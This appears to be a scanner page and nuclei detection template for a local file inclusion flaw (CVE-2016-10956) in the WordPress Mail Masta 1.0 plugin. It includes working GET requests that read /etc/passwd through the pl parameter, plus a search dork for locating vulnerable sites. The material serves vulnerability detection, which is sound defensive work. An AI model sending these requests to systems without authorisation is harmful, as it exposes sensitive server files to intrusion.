WordPress Mail Masta 1.0 - Local File Inclusion

highseverity

7.5CVSS score

10.6%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

WordPress Mail Masta 1.0 is susceptible to local file inclusion in count_of_send.php and csvexport.php.

Impact

An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.

Fix

Update WordPress Mail Masta to the latest version or apply the vendor-supplied patch to fix the local file inclusion vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd ; GET {{BaseURL}}/wp-content/plugins/mail-masta/inc/lists/csvexport.php?pl=/etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200 or 500

Run it with nuclei: nuclei -id CVE-2016-10956 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-10956

info:
  name: WordPress Mail Masta 1.0 - Local File Inclusion
  author: daffainfo,0x240x23elu
  severity: high
  description: WordPress Mail Masta 1.0 is susceptible to local file inclusion in count_of_send.php and csvexport.php.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Update WordPress Mail Masta to the latest version or apply the vendor-supplied patch to fix the local file inclusion vulnerability.
  reference:
    - https://cxsecurity.com/issue/WLB-2016080220
    - https://wpvulndb.com/vulnerabilities/8609
    - https://wordpress.org/plugins/mail-masta/#developers
    - https://nvd.nist.gov/vuln/detail/CVE-2016-10956
    - https://github.com/p0dalirius/CVE-2016-10956-mail-masta
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2016-10956
    cwe-id: CWE-20
    epss-score: 0.10582
    epss-percentile: 0.9582
    cpe: cpe:2.3:a:mail-masta_project:mail-masta:1.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: mail-masta_project
    product: mail-masta
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/mail-masta"
  tags: cve,cve2016,wordpress,wp-plugin,lfi,mail,mail-masta_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd"
      - "{{BaseURL}}/wp-content/plugins/mail-masta/inc/lists/csvexport.php?pl=/etc/passwd"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
          - 500

References

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